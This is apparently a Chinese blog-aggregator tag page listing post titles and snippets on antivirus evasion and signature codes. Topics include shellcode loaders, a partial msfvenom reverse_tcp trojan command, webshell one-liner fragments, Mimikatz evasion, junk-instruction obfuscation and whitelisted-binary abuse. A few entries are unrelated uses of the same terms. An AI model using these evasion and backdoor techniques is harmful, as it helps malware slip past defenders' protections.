免杀_特征码

【免杀】加载LSB隐写shellcode

参考资料：B站yuppt【学习分享】分离免杀shellcode#include《stdlib.h》作用#include〈stdio.h〉有什么作用C/C++文件读写操作——FILE*、fstream、windowsAPIfseek
Sp0n·2020-12-19 23:15

python 生成payload_利用python免杀cs shellcode

原创AgeloVito合天智汇0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年
weixin_39834488·2020-12-05 19:52

python pointer_免杀 | 利用Python免杀CS Shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
weixin_39842617·2020-11-27 08:31

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

前言前几天在看Python的shellcode加载器，在网上找了一个，结果加载器自身就过不了火绒，测试发现是火绒对关键语句进行了识别。所以我们要想办法去掉加载器中明显的特征。原理及实现在绕过静态查杀方面，主要就是要隐藏特征，比较常见的就是各种混淆、加密，但加密后的代码到最终还是需要去执行它才行，代码执行这一个操作其实特征也是很明显的，像exec、eval、os.system、subprocess.
weixin_39558521·2020-11-25 18:04

PHP后门隐藏的一些技巧总结

前言如果想让自己的Webshell留的更久一些，除了Webshell要免杀，还需要注意一些隐藏技巧，比如隐藏文件，修改时间属性，隐藏文件内容等。
·2020-11-19 09:13

【漏洞利用框架】Metasploit基本使用

漏洞利用四、漏洞攻击流程1、搜索攻击模块2、进入模块3、查看模块所需参数4、设置配置参数5、查询该模块下的payload6、设置payload7、启动服务五、永恒之蓝六、meterpreter会话管理七、免杀八
是Z先生·2020-09-28 15:48

20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践免杀概述免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写VirusAV），逐字翻译为“反
djt1999·2020-09-17 16:37

病毒木马查杀实战第018篇：病毒特征码查杀之基本原理

前言在本系列的导论中，我曾经在“病毒查杀方法”中简单讲解过特征码查杀这种方式。而我也在对于实际病毒的专杀工具编写中，使用过CRC32算法来对目标程序进行指纹匹配，从而进行病毒判定。
nokianasty·2020-09-16 18:26

动态污点分析浅述

动态污点分析浅述原理动态污点分析（DynamicTaintAnalysis）是近几年刚刚被提出的一种新的有效检测各种蠕虫攻击和自动提取特征码用于IDS和IPS的一系列解决方案。
leeeryan·2020-09-16 18:33

马哥第六次作业

答：单向加密解密过程：发送方：1）发送方用对称加密的方法提取文件的特征码，用自己的私钥加密这段特征码，并附加在文件后面（还是明文的）；2）用一个对称密钥，借助于对称加密算法把整个文件加密；3）再用对方的公钥加密对称密钥
weixin_34364071·2020-09-16 08:20

马哥2016全新Linux+Python高端运维班第四期-第六次作业

验证过程和内容：1）、用CA的公钥（双方已知）解密对方证书中CA的签名；能解密说明证书来原可靠；2）、用证书中标记的“签名算法”来计算证书的相关信息，并将散列计算的结果与证书“发行者签名”解密的结果（证书特征码
weixin_33728708·2020-09-16 08:00

特征码技术的静态杀毒引擎(20050822AA39)

time:2005-08-22kasperskyclub21楼会议室利用特征码技术的静态杀毒引擎特征码的选取在进入程序的详细讲解之前，先来讲一下对于病毒程序的特征码通常是如何选取出来的，以及特征码的结构是什么样子的
jaminwm·2020-09-15 10:01

Metasploit——msfvenom免杀木马

msfvenom命令的参数Options:-l,--list#列出所有可用的项目，其中值可以被设置为payloads,encoders,nops,platforms,archs,encrypt,formats等等-p,--payload#指定特定的Payload，如果被设置为-，那么从标准输入流中读取--list-options#列出--payload的标准，高级和规避选项-f,--format#
小白白@·2020-09-15 09:36

收集一些常见的webshell后门的特征码

一些常见的webshell（asp,aspx,php,jsp等）后门木马。什么是一句话木马？不了解的朋友百度一下。一句话木马具体有以下这些，这些都是自己平时收集的。（当然收集不齐全，希望大家帮忙完善～）============================asp一句话木马：%>executerequest("a")%>":executerequest("value"):a="ifrequest(
iteye_11341·2020-09-15 08:59

黑客工具

[木马]·全套asp全免杀马(海洋,老兵,小马.....)共四个asp木马,经过检测全都免杀!
hehe0108·2020-09-15 07:44

『算法理论学』基于深度人脸识别流程介绍

结构如下图所示由上图可知人脸识别项目可以分为5个主要步骤：1，首先输入一张照片；2，对照片检测出人脸并分类出是否为活体；3，对检测到的活体人脸进行对齐和裁切人脸；4，对对齐和裁切后人脸进行特征提取，表征为特征码
小宋是呢·2020-09-15 03:11

Mimikatz的18种免杀姿势及防御策略

PS：建议：win10慎用，唉，伤心然后按照里面的的步骤一步步去执行，有很多错误，所以如果您只是看技巧的话，可以去原文查看哦。或者读的时候略过我的错误部分啦。>_$wc=new-objectnet.webclientC:\Users\Xor0ne\Desktop>$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCr
小样！！！·2020-09-14 21:06

MSF里侦听模块的使用教程 exploit/multi/handler

如果想过墙只能自己加免杀的代码喽，反正我是还没学到呢。或者去百度shellter下载剥壳机自己加免杀的，有两个版本免费版和专业版，本人亲测免费版过不了windo
F&G·2020-09-14 20:59

【免杀篇】远控免杀专题(69)-Mimikatz的18种免杀姿势及防御策略(下)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录方法11-用C#加载mimikatz(VT查杀率35/73)方法12-JS加载mimikatz(VT查杀率22/59)方法13-msiexec加载mimikatz(VT查杀率25/60)方法14-白名单msbuild.exe加载(VT查杀率4/59)方法15-JScript的xsl版(VT查杀率7/60)方法16-jscript的sct版(VT
Agan '·2020-09-14 17:27

VirtualApp技术黑产利用研究报告

VA免安装运行APK的特性使得VA内应用与VA相比具有不同的应用特征，这使得VA可用于免杀。此外，VA对被多开应用
lee咸鱼·2020-09-14 14:34

C/C++ 实现PE文件特征码识别

PE文件就是我们常说的EXE可执行文件，针对文件特征的识别可以清晰的知道该程序是使用何种编程语言实现的，前提是要有特征库，PE特征识别有多种形式，第一种是静态识别，此方法就是只针对磁盘中文件的特征码字段进行检测来判断编译器版本
lyshark·2020-09-14 14:00

必须转载:Metasploit Pro 完全免杀

Becomeinvisibletoanti-virusprotectionWouldn’titbefantastictobeinvisibleforaday?Walkstraightintoabankvaultinthemorning,beaflyonthewallintheOvalOfficeforlunch,andspendaneveninginyourfavoritemoviestar’sh
weixin_33853794·2020-09-14 08:47

[原创]K8uac bypassUAC(Win7/Wi8/Win10) 过46款杀软影响所有Windows版本

不但支持全系统而且还免杀,你让我上哪说理去。免杀报告:http://r.virscan.org/language/en/report/2b1a191
weixin_30335353·2020-09-14 07:17

msf反弹木马之免杀

原理利用msf模块中的msfvenom模块，首先生成.exe木马文件，用靶机打开，攻击成功后，就渗透到了靶机系统中。准备win7靶机ip：192.168.56.130kali攻击机ip:192.168.56.135##实战开始1.打开kali机，在命令行输入：msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.56.135lport=123
imbia·2020-09-14 07:08

veil-evasion 在xp下的三分之二免杀

1.apt-getinstallveil-evasion2.List--查找相应的木马生成模块3.选择354.Options--查看需要设置的选项5.Setuse_pyherionY6.Generate7.选择1.msfvenom（defualt）8.设置本机ip10.10.10.128，端口44449.重命名木马xx.rc10.选择1pyinstaller（default）11.找到生成的木马文
a439017985·2020-09-14 05:47

Win64 驱动内核编程-22.SHADOW SSDT HOOK（宋孖健）

SHADOWSSDTHOOKHOOK和UNHOOKSHADOWSSDT跟之前的HOOK/UNHOOKSSDT类似，区别是查找SSSDT的特征码，以及根据索引计算函数地址的公式，还有一个就是吧跳转函数写在什么位置
TK13·2020-09-14 04:10

Crack8 + QQ吻的教程更新110个（20091016）

Crack8+QQ吻的教程更新110个（20091016）QQ吻QQ396890445有偿收徒软件脱壳木马病毒免杀VB编程诚信交易骗子勿扰^O^点此查看QQ吻最近更新教程^O^QQ吻==VB黑客编程班教程
K8_team·2020-09-13 14:02

分享一个远程控制软件源代码

没有怎么去优化，也不免杀，有很多Bug遗留。放出代码也仅仅是为了给远程控制爱好者作为入门级的参考。因为现在很久没有用C++做windows上面的开发了。电脑上也没安装visualstudio。
Witch_Soya·2020-09-13 05:52

使用OpenSSL进行数据加密

0x02加密和解密的基本概念这里说一下加密和解密的过程：      文件加密 ：原始数据 -> 单向加密提取特征码 -> 使用私钥加密特征码并附加于原始数据中 -> 使用对称加密算法加密全部数据 -> 
weixin_33875564·2020-09-12 17:15

从病毒感染检测谈串的模式匹配

病毒感染检测：串的模式匹配BF、KMP算法在网络入侵检测、计算机病毒特征码匹配以及DNA序列匹配等应用中都需要进行串的模式匹配。
广外蓝忘机·2020-09-12 02:22

免杀技术

与防病毒厂商共享信息VirusTotalhttps://www.virustotal.com/zh-cnVirScanhttps://virscan.org黑产在线查杀引擎https://nodistribute.comhttp://viruscheckmate.com扫描网站安全性http://onlinelinkscan.com使用msf编码模块生成后门msfvenom-pwindows/sh
weixin_30755393·2020-09-12 01:58

男女那点破事儿——饺子情结

李世民，一代天可汗，万世帝皇表率，也不免杀兄霸嫂。多尔衮，统领八旗，入主中原，奠定万世基业。可谓权势滔天，却拜倒在嫂子孝庄的裙下。而文学作品中更是热衷于此类“叔嫂”情节。以四大名著为例。
公子明月光·2020-09-11 20:41

XGBoost 生成的树

之前我有个疑问，XGBoost,生成的树种，每棵树用到了一样的特征码？
L~花海·2020-09-11 19:38

免杀原理详解(二)

一：灰鸽子免杀方法大全在所有的版本中，黑防的鸽子算是比较好做免杀的了，今天在这里，我就用他做案例1，最经典的OD一半一半定位法我们把整个黑色标记的区域看成是没有修改的木马代码把它从中间切平均分成两半，把其中的一半用
byte_way·2020-09-11 12:52

木马免杀之汇编花指令技巧

木马免杀之汇编花指令技巧相信很多朋友都做过木马免杀，早期的免杀都是加壳和改特征码，现在免杀技术已经发展到花指令免杀，改壳之类的，而这些需要一定的汇编知识，但是汇编却不是一块容易啃的骨头，所以我写了这篇菜鸟版的免杀汇编教程
zhu2695·2020-09-11 12:49

免杀花指令

今天送上经典花指令注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果.pushebppopebppusheaxpopeaxpushesppopesppush0push0push10----
weixin_34106122·2020-09-11 11:45

免杀之路

(一)、免杀应注意的事项:1.免杀的测试(在线杀毒、杀毒软件上报、世界反毒网:http://www.virustotal.com/zh-cn/)在这里我建议大家不要上传自己的马到这样的网站上去.一上传不要多久就会被杀了
weixin_34096182·2020-09-11 11:44

免杀技术经验总结

学习免杀，首先你得学会汇编把，基础的指令要懂得一些，一般的指令修改必须会，一般的修改这里就不赘述了，接下来就是掌握一些常用的免杀技巧，这里总结一些第一：我们学习免杀的方向：只是为了保护自己的黑软的话！
weixin_33834075·2020-09-11 10:29

免杀技术

基础内容杀毒软件是如何检测出恶意代码的？1.静态分析方法就是在不运行恶意代码的情况下，利用分析工具对恶意代码的静态特征和功能模块进行分析的方法。静态分析工具包括ollyDump（GigaPede2009）、W32DASM（URSoftware2009）、IDAPro（DataReseue2009）和HIEw（Suslikov2009）等。利用静态分析方法，可以分析出恶意代码的大致结构，可以确定恶意
weixin_30615767·2020-09-11 10:24

免杀小结（特征码）

于是找了本（黑客免杀攻防）挑出几章看了一下。发现原来教程里不讲原理，导致我不知道讲师在做什么。
Expl0it_·2020-09-11 10:14

花指令原理

转自：http://hi.baidu.com/zhangjw918/blog/item/c69a7943e16de1189213c62f.html第一个免杀花指令生成器--不简单的免杀工具(图)陆续将以前发表在杂志的文章放上来
longxin5·2020-09-11 09:13

花指令免杀

最近开始研究免杀技术，首先强烈推荐《黑客免杀攻防》一书，作者写的很接地气，非常有实战性的一本教材。我看了之后，对其中的一些思想和用到的技术比较有共鸣，是这段时间难得坚持看的一本书。
iteye_2140·2020-09-11 08:53

免杀之花指令

pushebppopebppusheaxpopeaxpushesppopesppush0push0push10-------其中数字可以任意,注意与下面对应push-10nop-----------可任意在中间添加与它等效的:movEDI,EDIaddesp,1-------其中数字可以任意,注意以下面对应addesp,-1addesp,1--------其中数字可以任意,注意以下面对应subes
iiprogram·2020-09-11 08:14

学习免杀技术请从下面开始

如：OllyDbg.PEditor.C32ASM.MYCCL复合特征码定位器。UE.OC.资源编辑器等。
hack8·2020-09-11 08:11

关于C#应用的授权认证

有针对虚拟机授权的朋友可以指点3、针对上面的特征码做不可逆的加密计算（网上很多），加密结果放多应用程序目录4、应用程序每次启动根据本机的机器码做第3步的加密再和本地存储的特征码比对扩展：也有根据程序模块来授权的
weixin_33881050·2020-09-10 23:58

Windows免杀小结（工具篇）

windows免杀工具推荐：TheFatRat：https://github.com/Screetsec/TheFatRat安装过程介绍得很详细，这里稍微注意一下：如果执行完该步骤：.
book4yi·2020-09-03 19:20

去拉萨过雪顿节吧

相传四月到六月天气变暖，百虫惊蛰，万物复苏，僧人活动难免杀生，因此在此期间，僧人只在寺庙念经修行，直到六月底方可开禁。僧人们纷纷下山，老百姓用酸奶犒劳僧人。前一天定
会飞的猫仔·2020-09-03 16:51

哈希

应该说没有哈希就不会有数字货币，哈希只是个数学算法的统称，一部几个G的电影经过哈希后可以是64字节的特征码，这个特征码就唯一的代表了
空无之音·2020-08-26 12:15

Android--消息摘要MD5，SHA加密

Eclipse和AndroidStudio开发工具根据sha1值来判断v4，v7包是否冲突据说银行的密码使用的就是MD5加密（因为MD5具有不可逆性）病毒查杀，把每个病毒文件或apk进行MD5后得到一个特征码
chaoyu168·2020-08-26 06:57

【免杀篇】远控免杀专题(67)-白名单(113个)总结篇

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01关于白名单程序0x02本文内容摘要0x03执行命令类(已测试33个)MSBuild.exeInstallUtil.exeMshta.exeRundll32.exeRegsvr32.exeCmstp.exeFtp.exeRegasm.exe/Regsvcs.exeCompiler.exeMavInject.exepresentationh
Agan '·2020-08-25 06:54
上一页 7 8 9 10 11 12 13 14 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他